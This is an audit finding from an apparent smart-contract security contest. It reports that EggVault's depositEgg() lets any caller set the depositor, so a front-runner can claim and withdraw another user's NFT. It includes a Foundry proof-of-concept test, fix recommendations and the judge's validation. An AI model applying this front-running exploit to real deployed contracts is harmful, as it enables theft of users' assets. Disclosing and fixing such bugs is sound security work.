Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Depositor Spoofing in depositEgg() in EggVault.sol Enables NFT Theft via Front-running

Summary

The depositEgg(uint256 tokenId, address depositor) function in the EggVault contract allows arbitrary specification of the depositor address. This design enables front-running attacks, where an attacker can hijack the legitimate depositor’s NFT and register themselves as the owner in the vault. As a result, they can withdraw NFTs they do not own.

Vulnerability Details

The function currently allows any caller to assign the eggDepositors[tokenId] value by passing in any address:

function depositEgg(uint256 tokenId, address depositor) public {
...
eggDepositors[tokenId] = depositor;
}

If a user sends their NFT to the vault contract via transferFrom(), there is a time window before they can call depositEgg(). During this time, a malicious actor can observe the transaction in the mempool and quickly call depositEgg() with the victim’s tokenId, setting themselves as the depositor.

Later, they can call withdrawEgg(tokenId) and receive the victim’s NFT — with full authorization from the vault contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggVault.sol";
import "../src/EggstravaganzaNFT.sol";
contract EggVaultTest is Test {
EggVault public vault;
EggstravaganzaNFT public nft;
address owner = address(0xABCD);
address player = address(0xBEEF);
address attacker = address(0xBAD);
function setUp() public {
vm.startPrank(owner);
nft = new EggstravaganzaNFT("Egg", "EGG");
vault = new EggVault();
vault.setEggNFT(address(nft));
nft.transferOwnership(owner);
nft.setGameContract(owner);
vm.stopPrank();
// Mint a token to the player
vm.startPrank(owner);
nft.mintEgg(player, 1);
vm.stopPrank();
}
function testFrontRunningDepositorSpoofing() public {
// player approves and transfers token to the vault
vm.startPrank(player);
vm.prank(player);
nft.approve(address(vault), 1);
nft.transferFrom(player, address(vault), 1);
vm.stopPrank();
// attacker front-runs and claims deposit with their address
vm.startPrank(attacker);
vault.depositEgg(1, attacker); // this is the vulnerability!
vm.stopPrank();
// attacker withdraws the victim's NFT
vm.prank(attacker);
vault.withdrawEgg(1);
assertEq(nft.ownerOf(1), attacker, "Attacker should have stolen the NFT");
}
}

In this PoC, the attacker successfully:
• Intercepts the NFT transfer,
• Calls depositEgg() first with their own address,
• Withdraws an NFT they never owned.

Expected Output:

Running 1 test for test/EggVault.t.sol:EggVaultTest
[PASS] testFrontRunningDepositorSpoofing() (gas: XXXX)

Impact

Impact:

• Attackers can steal NFTs from other users by front-running depositEgg() calls.

• The contract state will reflect incorrect depositor ownership.

• This breaks the trust and intended behavior of the NFT deposit system and results in loss of user assets.

Tools Used

• Manual code review

Recommendations

1. Remove the depositor argument completely and use msg.sender to record the depositor:

function depositEgg(uint256 tokenId) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = msg.sender;
emit EggDeposited(msg.sender, tokenId);

2. Consider replacing the two-step transfer/deposit with a single atomic flow, like safeTransferFrom + onERC721Received.

3. Add optional reentrancy protection using ReentrancyGuard to future-proof against related issues in withdrawEgg().

Updates

Lead Judging Commences

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.